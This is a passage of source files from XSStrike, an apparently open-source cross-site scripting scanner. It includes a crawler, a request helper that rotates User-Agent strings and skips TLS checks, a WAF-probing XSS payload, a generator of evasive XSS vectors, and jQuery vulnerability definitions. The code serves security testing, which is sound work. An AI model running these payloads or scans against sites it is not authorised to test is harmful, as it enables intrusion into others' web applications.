    "path": "core/log.py",
    "content": "import logging\nfrom .colors import *\n\n__all__ = ['setup_logger', 'console_log_level', 'file_log_level', 'log_file']\n\nconsole_log_level = 'INFO'\nfile_log_level = None\nlog_file = 'xsstrike.log'\n\n\"\"\"\nDefault Logging Levels\nCRITICAL = 50\nERROR = 40\nWARNING = 30\nINFO = 20\nDEBUG = 10\n\"\"\"\n\nVULN_LEVEL_NUM = 60\nRUN_LEVEL_NUM = 22\nGOOD_LEVEL_NUM = 25\n\n\nlogging.addLevelName(VULN_LEVEL_NUM, 'VULN')\nlogging.addLevelName(RUN_LEVEL_NUM, 'RUN')\nlogging.addLevelName(GOOD_LEVEL_NUM, 'GOOD')\n\n\ndef _vuln(self, msg, *args, **kwargs):\n    if self.isEnabledFor(VULN_LEVEL_NUM):\n        self._log(VULN_LEVEL_NUM, msg, args, **kwargs)\n\n\ndef _run(self, msg, *args, **kwargs):\n    if self.isEnabledFor(RUN_LEVEL_NUM):\n        self._log(RUN_LEVEL_NUM, msg, args, **kwargs)\n\n\ndef _good(self, msg, *args, **kwargs):\n    if self.isEnabledFor(GOOD_LEVEL_NUM):\n        self._log(GOOD_LEVEL_NUM, msg, args, **kwargs)\n\n\nlogging.Logger.vuln = _vuln\nlogging.Logger.run = _run\nlogging.Logger.good = _good\n\n\nlog_config = {\n    'DEBUG': {\n        'value': logging.DEBUG,\n        'prefix': '{}[*]{}'.format(yellow, end),\n    },\n    'INFO': {\n        'value': logging.INFO,\n        'prefix': info,\n    },\n    'RUN': {\n        'value': RUN_LEVEL_NUM,\n        'prefix': run,\n    },\n    'GOOD': {\n        'value': GOOD_LEVEL_NUM,\n        'prefix': good,\n    },\n    'WARNING': {\n        'value': logging.WARNING,\n        'prefix': '[!!]'.format(yellow, end),\n    },\n    'ERROR': {\n        'value': logging.ERROR,\n        'prefix': bad,\n    },\n    'CRITICAL': {\n        'value': logging.CRITICAL,\n        'prefix': '{}[--]{}'.format(red, end),\n    },\n    'VULN': {\n        'value': VULN_LEVEL_NUM,\n        'prefix': '{}[++]{}'.format(green, red),\n    }\n}\n\n\nclass CustomFormatter(logging.Formatter):\n    def format(self, record):\n        msg = super().format(record)\n        if record.levelname in log_config.keys():\n            msg = '%s %s %s' % (log_config[record.levelname]['prefix'], msg, end)\n        return msg\n\n\nclass CustomStreamHandler(logging.StreamHandler):\n    default_terminator = '\\n'\n\n    def emit(self, record):\n        \"\"\"\n        Overrides emit method to temporally update terminator character in case last log record character is '\\r'\n        :param record:\n        :return:\n        \"\"\"\n        if record.msg.endswith('\\r'):\n            self.terminator = '\\r'\n            super().emit(record)\n            self.terminator = self.default_terminator\n        else:\n            super().emit(record)\n\n\ndef _switch_to_no_format_loggers(self):\n    self.removeHandler(self.console_handler)\n    self.addHandler(self.no_format_console_handler)\n    if hasattr(self, 'file_handler') and hasattr(self, 'no_format_file_handler'):\n        self.removeHandler(self.file_handler)\n        self.addHandler(self.no_format_file_handler)\n\n\ndef _switch_to_default_loggers(self):\n    self.removeHandler(self.no_format_console_handler)\n    self.addHandler(self.console_handler)\n    if hasattr(self, 'file_handler') and hasattr(self, 'no_format_file_handler'):\n        self.removeHandler(self.no_format_file_handler)\n        self.addHandler(self.file_handler)\n\n\ndef _get_level_and_log(self, msg, level):\n    if level.upper() in log_config.keys():\n        log_method = getattr(self, level.lower())\n        log_method(msg)\n    else:\n        self.info(msg)\n\n\ndef log_red_line(self, amount=60, level='INFO'):\n    _switch_to_no_format_loggers(self)\n    _get_level_and_log(self, red + ('-' * amount) + end, level)\n    _switch_to_default_loggers(self)\n\n\ndef log_no_format(self, msg='', level='INFO'):\n    _switch_to_no_format_loggers(self)\n    _get_level_and_log(self, msg, level)\n    _switch_to_default_loggers(self)\n\n\ndef log_debug_json(self, msg='', data={}):\n    if self.isEnabledFor(logging.DEBUG):\n        if isinstance(data, dict):\n            import json\n            try:\n                self.debug('{} {}'.format(msg, json.dumps(data, indent=2)))\n            except TypeError:\n                self.debug('{} {}'.format(msg, data))\n        else:\n            self.debug('{} {}'.format(msg, data))\n\n\ndef setup_logger(name='xsstrike'):\n    from types import MethodType\n    logger = logging.getLogger(name)\n    logger.setLevel(logging.DEBUG)\n    console_handler = CustomStreamHandler(sys.stdout)\n    console_handler.setLevel(log_config[console_log_level]['value'])\n    console_handler.setFormatter(CustomFormatter('%(message)s'))\n    logger.addHandler(console_handler)\n    # Setup blank handler to temporally use to log without format\n    no_format_console_handler = CustomStreamHandler(sys.stdout)\n    no_format_console_handler.setLevel((log_config[console_log_level]['value']))\n    no_format_console_handler.setFormatter(logging.Formatter(fmt=''))\n    # Store current handlers\n    logger.console_handler = console_handler\n    logger.no_format_console_handler = no_format_console_handler\n\n    if file_log_level:\n        detailed_formatter = logging.Formatter('%(asctime)s %(name)s - %(levelname)s - %(message)s')\n        file_handler = logging.FileHandler(log_file)\n        file_handler.setLevel(log_config[file_log_level]['value'])\n        file_handler.setFormatter(detailed_formatter)\n        logger.addHandler(file_handler)\n        # Setup blank handler to temporally use to log without format\n        no_format_file_handler = logging.FileHandler(log_file)\n        no_format_file_handler.setLevel(log_config[file_log_level]['value'])\n        no_format_file_handler.setFormatter(logging.Formatter(fmt=''))\n        # Store file handlers\n        logger.file_handler = file_handler\n        logger.no_format_file_handler = no_format_file_handler\n\n    # Create logger method to only log a red line\n    logger.red_line = MethodType(log_red_line, logger)\n    # Create logger method to log without format\n    logger.no_format = MethodType(log_no_format, logger)\n    # Create logger method to convert data to json and log with debug level\n    logger.debug_json = MethodType(log_debug_json, logger)\n    return logger\n"
  },
  {
    "path": "core/photon.py",
    "content": "import re\nimport concurrent.futures\nfrom urllib.parse import urlparse\n\nfrom core.dom import dom\nfrom core.log import setup_logger\nfrom core.utils import getUrl, getParams\nfrom core.requester import requester\nfrom core.zetanize import zetanize\nfrom plugins.retireJs import retireJs\n\nlogger = setup_logger(__name__)\n\n\ndef photon(seedUrl, headers, level, threadCount, delay, timeout, skipDOM):\n    forms = []  # web forms\n    processed = set()  # urls that have been crawled\n    storage = set()  # urls that belong to the target i.e. in-scope\n    schema = urlparse(seedUrl).scheme  # extract the scheme e.g. http or https\n    host = urlparse(seedUrl).netloc  # extract the host e.g. example.com\n    main_url = schema + '://' + host  # join scheme and host to make the root url\n    storage.add(seedUrl)  # add the url to storage\n    checkedDOMs = []\n\n    def rec(target):\n        processed.add(target)\n        printableTarget = '/'.join(target.split('/')[3:])\n        if len(printableTarget) > 40:\n            printableTarget = printableTarget[-40:]\n        else:\n            printableTarget = (printableTarget + (' ' * (40 - len(printableTarget))))\n        logger.run('Parsing %s\\r' % printableTarget)\n        url = getUrl(target, True)\n        params = getParams(target, '', True)\n        if '=' in target:  # if there's a = in the url, there should be GET parameters\n            inps = []\n            for name, value in params.items():\n                inps.append({'name': name, 'value': value})\n            forms.append({0: {'action': url, 'method': 'get', 'inputs': inps}})\n        response = requester(url, params, headers, True, delay, timeout).text\n        retireJs(url, response)\n        if not skipDOM:\n            highlighted = dom(response)\n            clean_highlighted = ''.join([re.sub(r'^\\d+\\s+', '', line) for line in highlighted])\n            if highlighted and clean_highlighted not in checkedDOMs:\n                checkedDOMs.append(clean_highlighted)\n                logger.good('Potentially vulnerable objects found at %s' % url)\n                logger.red_line(level='good')\n                for line in highlighted:\n                    logger.no_format(line, level='good')\n                logger.red_line(level='good')\n        forms.append(zetanize(response))\n        matches = re.findall(r'<[aA].*href=[\"\\']{0,1}(.*?)[\"\\']', response)\n        for link in matches:  # iterate over the matches\n            # remove everything after a \"#\" to deal with in-page anchors\n            link = link.split('#')[0]\n            if link.endswith(('.pdf', '.png', '.jpg', '.jpeg', '.xls', '.xml', '.docx', '.doc')):\n                pass\n            else:\n                if link[:4] == 'http':\n                    if link.startswith(main_url):\n                        storage.add(link)\n                elif link[:2] == '//':\n                    if link.split('/')[2].startswith(host):\n                        storage.add(schema + link)\n                elif link[:1] == '/':\n                    storage.add(main_url + link)\n                else:\n                    storage.add(main_url + '/' + link)\n    try:\n        for x in range(level):\n            urls = storage - processed  # urls to crawl = all urls - urls that have been crawled\n            # for url in urls:\n            #     rec(url)\n            threadpool = concurrent.futures.ThreadPoolExecutor(\n                max_workers=threadCount)\n            futures = (threadpool.submit(rec, url) for url in urls)\n            for i in concurrent.futures.as_completed(futures):\n                pass\n    except KeyboardInterrupt:\n        return [forms, processed]\n    return [forms, processed]\n"
  },
  {
    "path": "core/prompt.py",
    "content": "import os\nimport tempfile\n\nfrom core.config import defaultEditor\nfrom core.colors import white, yellow\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef prompt(default=None):\n    # try assigning default editor, if fails, use default\n    editor = os.environ.get('EDITOR', defaultEditor)\n    # create a temporary file and open it\n    with tempfile.NamedTemporaryFile(mode='r+') as tmpfile:\n        if default:  # if prompt should have some predefined text\n            tmpfile.write(default)\n            tmpfile.flush()\n        child_pid = os.fork()\n        is_child = child_pid == 0\n        if is_child:\n            # opens the file in the editor\n            try:\n                os.execvp(editor, [editor, tmpfile.name])\n            except FileNotFoundError:\n                logger.error('You don\\'t have either a default $EDITOR \\\nvalue defined nor \\'nano\\' text editor')\n                logger.info('Execute %s`export EDITOR=/pat/to/your/editor` \\\n%sthen run XSStrike again.\\n\\n' % (yellow,white))\n                exit(1)\n        else:\n            os.waitpid(child_pid, 0)  # wait till the editor gets closed\n            tmpfile.seek(0)\n            return tmpfile.read().strip()  # read the file\n"
  },
  {
    "path": "core/requester.py",
    "content": "import random\nimport requests\nimport time\nfrom urllib3.exceptions import ProtocolError\nimport warnings\n\nimport core.config\nfrom core.utils import converter, getVar\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\nwarnings.filterwarnings('ignore')  # Disable SSL related warnings\n\n\ndef requester(url, data, headers, GET, delay, timeout):\n    if getVar('jsonData'):\n        data = converter(data)\n    elif getVar('path'):\n        url = converter(data, url)\n        data = []\n        GET, POST = True, False\n    time.sleep(delay)\n    user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',\n                   'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',\n                   'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991']\n    if 'User-Agent' not in headers:\n        headers['User-Agent'] = random.choice(user_agents)\n    elif headers['User-Agent'] == '$':\n        headers['User-Agent'] = random.choice(user_agents)\n    logger.debug('Requester url: {}'.format(url))\n    logger.debug('Requester GET: {}'.format(GET))\n    logger.debug_json('Requester data:', data)\n    logger.debug_json('Requester headers:', headers)\n    try:\n        if GET:\n            response = requests.get(url, params=data, headers=headers,\n                                    timeout=timeout, verify=False, proxies=core.config.proxies)\n        elif getVar('jsonData'):\n            response = requests.post(url, json=data, headers=headers,\n                                    timeout=timeout, verify=False, proxies=core.config.proxies)\n        else:\n            response = requests.post(url, data=data, headers=headers,\n                                     timeout=timeout, verify=False, proxies=core.config.proxies)\n        return response\n    except ProtocolError:\n        logger.warning('WAF is dropping suspicious requests.')\n        logger.warning('Scanning will continue after 10 minutes.')\n        time.sleep(600)\n    except Exception as e:\n        logger.warning('Unable to connect to the target.')\n        return requests.Response()\n"
  },
  {
    "path": "core/updater.py",
    "content": "import os\nimport re\nfrom requests import get\n\nfrom core.config import changes\nfrom core.colors import que, info, end, green\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef updater():\n    logger.run('Checking for updates')\n    latestCommit = get(\n        'https://raw.githubusercontent.com/s0md3v/XSStrike/master/core/config.py').text\n\n    if changes not in latestCommit:  # just a hack to see if a new version is available\n        changelog = re.search(r\"changes = '''(.*?)'''\", latestCommit)\n        changelog = changelog.group(1).split(\n            ';')  # splitting the changes to form a list\n        logger.good('A new version of XSStrike is available.')\n        changes_str = 'Changes:\\n'\n        for change in changelog:  # prepare changes to print\n            changes_str += '%s>%s %s\\n' % (green, end, change)\n        logger.info(changes_str)\n        currentPath = os.getcwd().split('/')  # if you know it, you know it\n        folder = currentPath[-1]  # current directory name\n        path = '/'.join(currentPath)  # current directory path\n        choice = input('%s Would you like to update? [Y/n] ' % que).lower()\n\n        if choice != 'n':\n            logger.run('Updating XSStrike')\n            os.system(\n                'git clone --quiet https://github.com/s0md3v/XSStrike %s' % (folder))\n            os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' %\n                      (path, folder, path, path, folder))\n            logger.good('Update successful!')\n    else:\n        logger.good('XSStrike is up to date!')\n"
  },
  {
    "path": "core/utils.py",
    "content": "import json\nimport random\nimport re\nfrom urllib.parse import urlparse\n\nimport core.config\nfrom core.config import xsschecker\n\n\ndef converter(data, url=False):\n    if 'str' in str(type(data)):\n        if url:\n            dictized = {}\n            parts = data.split('/')[3:]\n            for part in parts:\n                dictized[part] = part\n            return dictized\n        else:\n            return json.loads(data)\n    else:\n        if url:\n            url = urlparse(url).scheme + '://' + urlparse(url).netloc\n            for part in list(data.values()):\n                url += '/' + part\n            return url\n        else:\n            return json.dumps(data)\n\n\ndef counter(string):\n    string = re.sub(r'\\s|\\w', '', string)\n    return len(string)\n\n\ndef closest(number, numbers):\n    difference = [abs(list(numbers.values())[0]), {}]\n    for index, i in numbers.items():\n        diff = abs(number - i)\n        if diff < difference[0]:\n            difference = [diff, {index: i}]\n    return difference[1]\n\n\ndef fillHoles(original, new):\n    filler = 0\n    filled = []\n    for x, y in zip(original, new):\n        if int(x) == (y + filler):\n            filled.append(y)\n        else:\n            filled.extend([0, y])\n            filler += (int(x) - y)\n    return filled\n\n\ndef stripper(string, substring, direction='right'):\n    done = False\n    strippedString = ''\n    if direction == 'right':\n        string = string[::-1]\n    for char in string:\n        if char == substring and not done:\n            done = True\n        else:\n            strippedString += char\n    if direction == 'right':\n        strippedString = strippedString[::-1]\n    return strippedString\n\n\ndef extractHeaders(headers):\n    headers = headers.replace('\\\\n', '\\n')\n    sorted_headers = {}\n    matches = re.findall(r'(.*):\\s(.*)', headers)\n    for match in matches:\n        header = match[0]\n        value = match[1]\n        try:\n            if value[-1] == ',':\n                value = value[:-1]\n            sorted_headers[header] = value\n        except IndexError:\n            pass\n    return sorted_headers\n\n\ndef replaceValue(mapping, old, new, strategy=None):\n    \"\"\"\n    Replace old values with new ones following dict strategy.\n\n    The parameter strategy is None per default for inplace operation.\n    A copy operation is injected via strateg values like copy.copy\n    or copy.deepcopy\n\n    Note: A dict is returned regardless of modifications.\n    \"\"\"\n    anotherMap = strategy(mapping) if strategy else mapping\n    if old in anotherMap.values():\n        for k in anotherMap.keys():\n            if anotherMap[k] == old:\n                anotherMap[k] = new\n    return anotherMap\n\n\ndef getUrl(url, GET):\n    if GET:\n        return url.split('?')[0]\n    else:\n        return url\n\n\ndef extractScripts(response):\n    scripts = []\n    matches = re.findall(r'(?s)<script.*?>(.*?)</script>', response.lower())\n    for match in matches:\n        if xsschecker in match:\n            scripts.append(match)\n    return scripts\n\n\ndef randomUpper(string):\n    return ''.join(random.choice((x, y)) for x, y in zip(string.upper(), string.lower()))\n\n\ndef flattenParams(currentParam, params, payload):\n    flatted = []\n    for name, value in params.items():\n        if name == currentParam:\n            value = payload\n        flatted.append(name + '=' + value)\n    return '?' + '&'.join(flatted)\n\n\ndef genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None):\n    vectors = []\n    r = randomUpper  # randomUpper randomly converts chars of a string to uppercase\n    for tag in tags:\n        if tag == 'd3v' or tag == 'a':\n            bait = xsschecker\n        else:\n            bait = ''\n        for eventHandler in eventHandlers:\n            # if the tag is compatible with the event handler\n            if tag in eventHandlers[eventHandler]:\n                for function in functions:\n                    for filling in fillings:\n                        for eFilling in eFillings:\n                            for lFilling in lFillings:\n                                for end in ends:\n                                    if tag == 'd3v' or tag == 'a':\n                                        if '>' in ends:\n                                            end = '>'  # we can't use // as > with \"a\" or \"d3v\" tag\n                                    breaker = ''\n                                    if badTag:\n                                        breaker = '</' + r(badTag) + '>'\n                                    vector = breaker + '<' + r(tag) + filling + r(\n                                        eventHandler) + eFilling + '=' + eFilling + function + lFilling + end + bait\n                                    vectors.append(vector)\n    return vectors\n\n\ndef getParams(url, data, GET):\n    params = {}\n    if '?' in url and '=' in url:\n        data = url.split('?')[1]\n        if data[:1] == '?':\n            data = data[1:]\n    elif data:\n        if getVar('jsonData') or getVar('path'):\n            params = data\n        else:\n            try:\n                params = json.loads(data.replace('\\'', '\"'))\n                return params\n            except json.decoder.JSONDecodeError:\n                pass\n    else:\n        return None\n    if not params:\n        parts = data.split('&')\n        for part in parts:\n            each = part.split('=')\n            if len(each) < 2:\n                each.append('')\n            try:\n                params[each[0]] = each[1]\n            except IndexError:\n                params = None\n    return params\n\n\ndef writer(obj, path):\n    kind = str(type(obj)).split('\\'')[0]\n    if kind == 'list' or kind == 'tuple':\n        obj = '\\n'.join(obj)\n    elif kind == 'dict':\n        obj = json.dumps(obj, indent=4)\n    savefile = open(path, 'w+')\n    savefile.write(str(obj.encode('utf-8')))\n    savefile.close()\n\n\ndef reader(path):\n    with open(path, 'r') as f:\n        result = [line.rstrip(\n                    '\\n').encode('utf-8').decode('utf-8') for line in f]\n    return result\n\ndef js_extractor(response):\n    \"\"\"Extract js files from the response body\"\"\"\n    scripts = []\n    matches = re.findall(r'<(?:script|SCRIPT).*?(?:src|SRC)=([^\\s>]+)', response)\n    for match in matches:\n        match = match.replace('\\'', '').replace('\"', '').replace('`', '')\n        scripts.append(match)\n    return scripts\n\n\ndef handle_anchor(parent_url, url):\n    scheme = urlparse(parent_url).scheme\n    if url[:4] == 'http':\n        return url\n    elif url[:2] == '//':\n        return scheme + ':' + url\n    elif url.startswith('/'):\n        host = urlparse(parent_url).netloc\n        scheme = urlparse(parent_url).scheme\n        parent_url = scheme + '://' + host\n        return parent_url + url\n    elif parent_url.endswith('/'):\n        return parent_url + url\n    else:\n        return parent_url + '/' + url\n\n\ndef deJSON(data):\n    return data.replace('\\\\\\\\', '\\\\')\n\n\ndef getVar(name):\n    return core.config.globalVariables[name]\n\ndef updateVar(name, data, mode=None):\n    if mode:\n        if mode == 'append':\n            core.config.globalVariables[name].append(data)\n        elif mode == 'add':\n            core.config.globalVariables[name].add(data)\n    else:\n        core.config.globalVariables[name] = data\n\ndef isBadContext(position, non_executable_contexts):\n    badContext = ''\n    for each in non_executable_contexts:\n        if each[0] < position < each[1]:\n            badContext = each[2]\n            break\n    return badContext\n\ndef equalize(array, number):\n    if len(array) < number:\n        array.append('')\n\ndef escaped(position, string):\n    usable = string[:position][::-1]\n    match = re.search(r'^\\\\*', usable)\n    if match:\n        match = match.group()\n        if len(match) == 1:\n            return True\n        elif len(match) % 2 == 0:\n            return False\n        else:\n            return True\n    else:\n        return False\n"
  },
  {
    "path": "core/wafDetector.py",
    "content": "import json\nimport re\nimport sys\n\nfrom core.requester import requester\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef wafDetector(url, params, headers, GET, delay, timeout):\n    with open(sys.path[0] + '/db/wafSignatures.json', 'r') as file:\n        wafSignatures = json.load(file)\n    # a payload which is noisy enough to provoke the WAF\n    noise = '<script>alert(\"XSS\")</script>'\n    params['xss'] = noise\n    # Opens the noise injected payload\n    response = requester(url, params, headers, GET, delay, timeout)\n    page = response.text\n    code = str(response.status_code)\n    headers = str(response.headers)\n    logger.debug('Waf Detector code: {}'.format(code))\n    logger.debug_json('Waf Detector headers:', response.headers)\n\n    if int(code) >= 400:\n        bestMatch = [0, None]\n        for wafName, wafSignature in wafSignatures.items():\n            score = 0\n            pageSign = wafSignature['page']\n            codeSign = wafSignature['code']\n            headersSign = wafSignature['headers']\n            if pageSign:\n                if re.search(pageSign, page, re.I):\n                    score += 1\n            if codeSign:\n                if re.search(codeSign, code, re.I):\n                    score += 0.5  # increase the overall score by a smaller amount because http codes aren't strong indicators\n            if headersSign:\n                if re.search(headersSign, headers, re.I):\n                    score += 1\n            # if the overall score of the waf is higher than the previous one\n            if score > bestMatch[0]:\n                del bestMatch[:]  # delete the previous one\n                bestMatch.extend([score, wafName])  # and add this one\n        if bestMatch[0] != 0:\n            return bestMatch[1]\n        else:\n            return None\n    else:\n        return None\n"
  },
  {
    "path": "core/zetanize.py",
    "content": "import re\n\n\ndef zetanize(response):\n    def e(string):\n        return string.encode('utf-8')\n\n    def d(string):\n        return string.decode('utf-8')\n\n    # remove the content between html comments\n    response = re.sub(r'(?s)<!--.*?-->', '', response)\n    forms = {}\n    matches = re.findall(r'(?i)(?s)<form.*?</form.*?>',\n                         response)  # extract all the forms\n    num = 0\n    for match in matches:  # everything else is self explanatory if you know regex\n        page = re.search(r'(?i)action=[\\'\"](.*?)[\\'\"]', match)\n        method = re.search(r'(?i)method=[\\'\"](.*?)[\\'\"]', match)\n        forms[num] = {}\n        forms[num]['action'] = d(e(page.group(1))) if page else ''\n        forms[num]['method'] = d(\n            e(method.group(1)).lower()) if method else 'get'\n        forms[num]['inputs'] = []\n        inputs = re.findall(r'(?i)(?s)<input.*?>', response)\n        for inp in inputs:\n            inpName = re.search(r'(?i)name=[\\'\"](.*?)[\\'\"]', inp)\n            if inpName:\n                inpType = re.search(r'(?i)type=[\\'\"](.*?)[\\'\"]', inp)\n                inpValue = re.search(r'(?i)value=[\\'\"](.*?)[\\'\"]', inp)\n                inpName = d(e(inpName.group(1)))\n                inpType = d(e(inpType.group(1)))if inpType else ''\n                inpValue = d(e(inpValue.group(1))) if inpValue else ''\n                if inpType.lower() == 'submit' and inpValue == '':\n                    inpValue = 'Submit Query'\n                inpDict = {\n                    'name': inpName,\n                    'type': inpType,\n                    'value': inpValue\n                }\n                forms[num]['inputs'].append(inpDict)\n        num += 1\n    return forms\n"
  },
  {
    "path": "db/definitions.json",
    "content": "{\n\t\"retire-example\": {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"0.0.2\",\n\t\t\t\t\"severity\" : \"low\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"CVE\" : [ \"CVE-XXXX-XXXX\" ],\n\t\t\t\t\t\"bug\" : \"1234\",\n\t\t\t\t\t\"summary\" : \"bug summary\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://github.com/eoftedal/retire.js/\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\" : [ \"retire.VERSION\" ],\n\t\t\t\"filename\" : [ \"retire-example-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"/\\\\*!? Retire-example v([0-9][0-9.a-z_-]+)\" ],\n\t\t\t\"hashes\" : { \"07f8b94c8d601a24a1914a1a92bec0e4fafda964\" : \"0.0.1\" }\n\t\t}\n\t},\n\n\t\"jquery\": {\n\t\t\"bowername\": [ \"jQuery\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.6.3\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"CVE\": [ \"CVE-2011-4969\" ],\n\t\t\t\t\t\"summary\": \"XSS with location.hash\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://nvd.nist.gov/vuln/detail/CVE-2011-4969\" , \"http://research.insecurelabs.org/jquery/test/\", \"https://bugs.jquery.com/ticket/9521\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.9.0b1\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\" : [ \"CVE-2012-6708\" ],\t\t\t\t\t\n\t\t\t\t\t\"bug\": \"11290\",\n\t\t\t\t\t\"summary\": \"Selector interpreted as HTML\"\n\t\t\t\t},\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"info\" : [ \"http://bugs.jquery.com/ticket/11290\" , \"https://nvd.nist.gov/vuln/detail/CVE-2012-6708\", \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.4.0\",\n\t\t\t\t\"below\" : \"1.12.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"2432\",\n\t\t\t\t\t\"summary\": \"3rd party CORS request may execute\",\n\t\t\t\t        \"CVE\": [ \"CVE-2015-9251\" ] \n\t\t\t\t},\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/jquery/jquery/issues/2432\", \"http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/\", \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\", \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.12.3\",\n\t\t\t\t\"below\" : \"3.0.0-beta1\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"2432\",\n\t\t\t\t\t\"summary\": \"3rd party CORS request may execute\",\n\t\t\t\t        \"CVE\": [ \"CVE-2015-9251\" ] \n\t\t\t\t},\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/jquery/jquery/issues/2432\", \"http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/\", \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\", \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.8.0\",\n\t\t\t\t\"below\" : \"1.12.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\" : [ \"CVE-2015-9251\" ],\n\t\t\t\t\t\"issue\" : \"11974\",\n\t\t\t\t\t\"summary\": \"parseHTML() executes scripts in event handlers\"\n\t\t\t\t},\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"info\" : [ \"https://bugs.jquery.com/ticket/11974\", \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\", \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.12.2\",\n\t\t\t\t\"below\" : \"2.2.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\" : [ \"CVE-2015-9251\" ],\n\t\t\t\t\t\"issue\" : \"11974\",\n\t\t\t\t\t\"summary\": \"parseHTML() executes scripts in event handlers\"\n\t\t\t\t},\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"info\" : [ \"https://bugs.jquery.com/ticket/11974\", \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\", \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.2.2\",\n\t\t\t\t\"below\" : \"3.0.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\" : [ \"CVE-2015-9251\" ],\n\t\t\t\t\t\"issue\" : \"11974\",\n\t\t\t\t\t\"summary\": \"parseHTML() executes scripts in event handlers\"\n\t\t\t\t},\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"info\" : [ \"https://bugs.jquery.com/ticket/11974\", \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\", \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.4.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\" : [ \"CVE-2019-11358\" ],\n\t\t\t\t\t\"summary\": \"jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"low\",\n\t\t\t\t\"info\" : [ \"https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/\", \"https://nvd.nist.gov/vuln/detail/CVE-2019-11358\", \"https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b\" ]\n\t\t\t}\n\n\n\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \n\t\t\t\t\t\t\t\t\"(jQuery || $ || $jq || $j).fn.jquery\", \n\t\t\t\t\t\t\t\t\"require('jquery').fn.jquery\" \n\t\t\t],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/jquery(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"jquery-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\t\t\t\t\"/\\\\*!? jQuery v([0-9][0-9.a-z_-]+)\", \"\\\\* jQuery JavaScript Library v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\t\t\t\t\"\\\\* jQuery ([0-9][0-9.a-z_-]+) - New Wave Javascript\", \"// \\\\$Id: jquery.js,v ([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\t\t\t\t\"/\\\\*! jQuery v([0-9][0-9.a-z_-]+)\",\n                \"[^a-z]f=\\\"([0-9][0-9.a-z_-]+)\\\",.*[^a-z]jquery:f,\",\n                \"[^a-z]m=\\\"([0-9][0-9.a-z_-]+)\\\",.*[^a-z]jquery:m,\",\n                \"[^a-z.]jquery:[ ]?\\\"([0-9][0-9.a-z_-]+)\\\"\",\n                \"\\\\$\\\\.documentElement,Q=e.jQuery,Z=e\\\\.\\\\$,ee=\\\\{\\\\},te=\\\\[\\\\],ne=\\\"([0-9][0-9.a-z_-]+)\\\"\"\n\t\t\t],\n\t\t\t\"filecontentreplace\" : 